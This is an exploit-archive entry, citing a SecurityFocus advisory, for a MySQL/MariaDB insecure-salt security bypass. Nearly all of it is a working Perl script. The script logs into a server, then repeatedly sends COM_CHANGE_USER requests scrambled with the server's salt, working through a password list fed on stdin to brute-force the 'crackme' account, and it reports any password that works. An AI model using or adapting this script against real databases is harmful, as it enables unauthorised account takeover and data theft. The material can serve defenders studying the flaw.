Oracle MySQL / MariaDB - Insecure Salt Generation Security Bypass
Код:
source: https://www.securityfocus.com/bid/56837/info
MySQL and MariaDB are prone to a security-bypass weakness.
An attacker may be able to exploit this issue to aid in brute-force attacks; other attacks may also be possible.
use Net::MySQL;
$|=1;
my $mysql = Net::MySQL->new(
hostname => '192.168.2.3',
database => 'test',
user => "user",
password => "secret",
debug => 0,
);
$crackuser = "crackme";
while(<stdin>) {
chomp;
$currentpass = $_;
$vv = join "\0",
$crackuser,
"\x14".
Net::MySQL::Password->scramble(
$currentpass, $mysql->{salt}, $mysql->{client_capabilities}
) . "\0";
if ($mysql->_execute_command("\x11", $vv) ne undef) {
print "[*] Cracked! --> $currentpass\n";
exit;
}
}
